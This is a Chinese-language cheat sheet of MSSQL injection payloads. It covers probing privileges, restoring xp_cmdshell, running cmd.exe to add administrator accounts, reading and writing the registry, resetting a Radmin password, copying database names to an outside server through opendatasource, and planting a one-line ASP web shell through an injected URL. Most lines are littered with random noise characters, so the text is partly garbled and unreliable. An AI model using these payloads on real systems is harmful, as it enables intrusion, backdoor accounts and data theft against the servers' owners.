阿D常用的一些注入命令
9 B7 h/ w7 [/ B) a3 Z2 ]//看看是什么权限的
5 k1 O) Z0 [& w% u- c2 m6 Z% Uand 1=(Select IS_MEMBER('db_owner'))4 A1 r9 v- r- t5 Z0 z& O% z( ~
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--" i2 w `/ W% I7 t- C
" D# A2 A" Z- B7 z v//检测是否有读取某数据库的权限
* W; O: P4 I" Y0 D' i L7 rand 1= (Select HAS_DBACCESS('master'))
) H! A8 |7 f t" c) Z' `7 l' aAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
0 d0 e& l* u8 h' u. e+ H
, N+ U( @0 S" o3 O
: v* I; m4 A* h% N0 z! { b# p数字类型
+ F) [# t- d8 d7 H9 Uand char(124)%2Buser%2Bchar(124)=0
: R/ W9 f2 G( b6 c f* e/ s* Q% C4 x9 t9 |
字符类型1 Z2 w7 ~& E2 n4 e, }2 F
' and char(124)%2Buser%2Bchar(124)=0 and ''='7 |) s( g$ e' ~& R
" n! [/ _& K6 B/ s搜索类型
9 c2 Z9 h' M- V. h' and char(124)%2Buser%2Bchar(124)=0 and '%'='4 B! W7 @" P( w; ~9 ?
4 V8 v, s3 p7 p o% L' }; S- [+ O
爆用户名
: g$ a, }4 y: s" |. ~ F4 iand user>0- Z! T7 b1 E/ P- Q$ z) y
' and user>0 and ''='
3 B# G/ D6 c9 ]: d; B# J+ k
- @. F4 Z0 _% u' K, r5 ^( U! y J! C检测是否为SA权限% R$ W, N9 N% b3 e
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--% u" T: P [( D0 j% |& w& T5 a
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
$ G* G. _3 K, |: L' T. D) j( C. L7 ~1 k! l, Q7 i5 N
检测是不是MSSQL数据库; O- ~7 W5 v* \/ E3 Z1 F# k$ q/ Y
and exists (select * from sysobjects);-- 5 P8 e% [" w% i/ K+ E
9 |% D- ~6 y4 C# v1 b
检测是否支持多行
/ M. V& N- g8 u9 s4 g& n;declare @d int;-- & x* u( w& E9 a/ n" D& n
" }, X$ d4 D- M% v9 L+ m
恢复 xp_cmdshell
" M6 E6 O$ ]6 [+ C$ j7 S, h( y;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
1 b7 H! b& f) m [; d% G: h4 |. N: U, @# A, R6 G! ^
) P0 \- i" ^+ E3 W, H, Eselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
) a0 B ?- j4 K2 X
" E; T. `9 t5 F4 o//-----------------------0 ^+ ?1 }% l( `0 H" q/ w
// 执行命令
$ \9 }7 e% t1 g8 Z! M//-----------------------& [% b$ X3 n) b. j- `2 B
首先开启沙盘模式:
7 b x5 b5 T9 Eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
3 H8 b3 n/ R+ L0 x3 ]; ~. k6 G d8 H A2 o; d0 A
然后利用jet.oledb执行系统命令4 r5 y$ b. k8 k( a) R. }( o
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
% e g5 [- } J* v
! d0 @0 H9 |# L% h( S- S+ \& h; C执行命令/ y( t& a+ z: i+ p- X/ ?; N( ]
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 K& q- p* ~9 {' T# U
; X" }5 C2 z; VEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
- g `, @+ Y. a
u8 G- r8 A( x# b2 s判断xp_cmdshell扩展存储过程是否存在:
# Q! M$ P7 Z5 ^http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ @+ x) {+ H& z5 M6 ]8 a6 _1 a# b; o, W- Z6 [. J
写注册表
3 d9 \& o& i7 t- S8 P4 yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 [# m5 Z# M' u0 r
S3 e' _' y( `0 H
REG_SZ5 U( A/ p+ L/ Y `1 {8 ~
$ n" W. |; Q0 e9 M% N- |( E4 L读注册表
! K& h( U; u$ _& zexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'8 K( [" s+ X" a+ q1 `5 ]& [" L0 \
' E( q8 }4 I# e( q% q3 @! E读取目录内容
. B1 q% E: l* rexec master..xp_dirtree 'c:\winnt\system32\',1,15 D* u' c% @9 S. }
9 ]7 F3 ] T4 ^; S& ^' y8 u
2 X! v& D; Y2 w. o数据库备份& ]$ ^4 r$ F/ o/ G
backup database pubs to disk = 'c:\123.bak'9 [7 `1 I5 }* P6 U( b8 ]
' k5 R' R$ l0 K7 T w7 b& u//爆出长度2 x' B/ [$ y; h% R: U4 q0 z
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
' S& L# G" W- Y \
5 }9 z' j6 ]5 B+ o% c* X' P& n1 Y% _
7 V* W) n7 V) v/ K* F7 {' y& I
更改sa口令方法:用sql综合利用工具连接后,执行命令:: a9 ?5 U, x+ `
exec sp_password NULL,'新密码','sa'
/ Y1 f+ ]0 i# O& y3 r+ m# s, X& u% G
添加和删除一个SA权限的用户test:
0 b3 L9 }* |2 uexec master.dbo.sp_addlogin test,ptlove
7 K5 @7 b( R# m" a- Bexec master.dbo.sp_addsrvrolemember test,sysadmin
/ A& F: \9 h' b) Q% E O4 \. K- f2 a! U& s7 C& F3 }
删除扩展存储过过程xp_cmdshell的语句: 9 a, a# a2 X6 N, t0 P
exec sp_dropextendedproc 'xp_cmdshell') Z* W7 v7 `& B' G
5 j \8 ]/ K7 n- D+ y添加扩展存储过过程
* P5 T Y1 m# t" U B* ?5 \1 p# ^EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
8 C' g! r# j# r" N9 D- t: TGRANT exec On xp_proxiedadata TO public
! q: _, b. j0 P3 U0 J3 R2 a ~* z5 g9 Q+ }3 `% F
8 P+ y. u/ g: J9 o$ f停掉或激活某个服务。
j: f7 y8 h* d- b* O z" w7 O1 N" d: c$ ?2 u8 X
exec master..xp_servicecontrol 'stop','schedule'
. `. P6 t7 }* h& D% Kexec master..xp_servicecontrol 'start','schedule'
; x8 ]1 C$ j0 M. d* G" I" \ q1 R
9 w: g+ g8 p6 odbo.xp_subdirs. i5 b! n7 z2 |2 @
; _7 O" W$ P6 U5 g5 D j
只列某个目录下的子目录。
# o1 W7 u2 L$ S% I( gxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'0 R& V. ?: ^; s# p* o: o
! ?9 W2 P: I8 p1 Kdbo.xp_makecab; l1 \( i) w4 h# Q. {. ^4 r
% O$ R6 d. {! ]6 l' X% y将目标多个档案压缩到某个目标档案之内。$ n. ^& c7 p* V B- x
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
$ J/ h, ^4 n3 d/ r
0 v4 \1 }3 N8 h f1 e( r% l* J% jdbo.xp_makecab9 e; S3 ]; P8 H" j0 M# [
'c:\test.cab','mszip',1,
3 I. n* g2 f5 K1 X2 x' K# d'C:\Inetpub\wwwroot\SQLInject\login.asp',$ Z. `. t( i* [. m& g9 E k
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'# T5 G1 a! J$ \6 K R# y
2 d! }0 ?$ c0 _
xp_terminate_process- B5 v0 p' N" V" ^
4 S0 ]# Y1 w8 F1 B5 M4 Y! R. S( s* @停掉某个执行中的程序,但赋予的参数是 Process ID。2 A" V% h/ F' q7 |
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID$ C' W' F0 ^$ @
/ P) k7 s0 H$ S' W
xp_terminate_process 2484$ q. u4 W* D$ ]
1 \7 d% J! E% v/ gxp_unpackcab
( |2 i/ V& |( j; I8 v% k. o# i
% u9 i: S# U) a2 F* G, x$ C解开压缩档。* T6 M! D4 Z! _1 m
4 T7 P0 c6 x; K# [, s" n( Wxp_unpackcab 'c:\test.cab','c:\temp',1
( {) D \4 V1 Q0 R1 a
6 `5 W4 i9 q8 `8 j9 w" r. E- ^; k- A- j& M8 V
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
9 m: d+ p" j$ H! K9 c* C$ S$ \. D1 H' E/ L z' B! B
create database lcx;
" V; o- T! W# w0 TCreate TABLE ku(name nvarchar(256) null);8 n Z' o* D: v5 a8 {
Create TABLE biao(id int NULL,name nvarchar(256) null);
: Y, g0 M! Q- d1 ?7 Q& i# O) Q( z* v& `: g. B4 h3 Q4 F5 W A. G$ a3 P
//得到数据库名0 D- Y: f$ ~/ M: y2 W
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
. _8 S* Q2 L$ J9 z! X2 p* O' g
9 N3 {2 v1 E2 \7 c- {: ~7 B D: k* k8 V3 J' r& A5 t7 B- D6 Z
//在Master中创建表,看看权限怎样- O5 r5 X' a# j
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--' J8 |; y, R9 k: q4 U' N6 Y
# U9 R6 R; Q* z( t. J用 sp_makewebtask直接在web目录里写入一句话马:8 U: H9 g0 _8 g- ]! r1 Z8 Y( N
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--9 @- {: l- q0 m- i
! z9 `0 Y9 }/ Z6 W* B0 Z" `2 a& h+ j
//更新表内容
& w7 ^, G, z9 ^% L- l7 e; WUpdate films SET kind = 'Dramatic' Where id = 1236 H0 W3 U/ a( Y
. Q% i2 k- q# i. G; `& s
//删除内容) r$ I2 F8 `6 a; W* v3 n. H% B
delete from table_name where Stockid = 3 |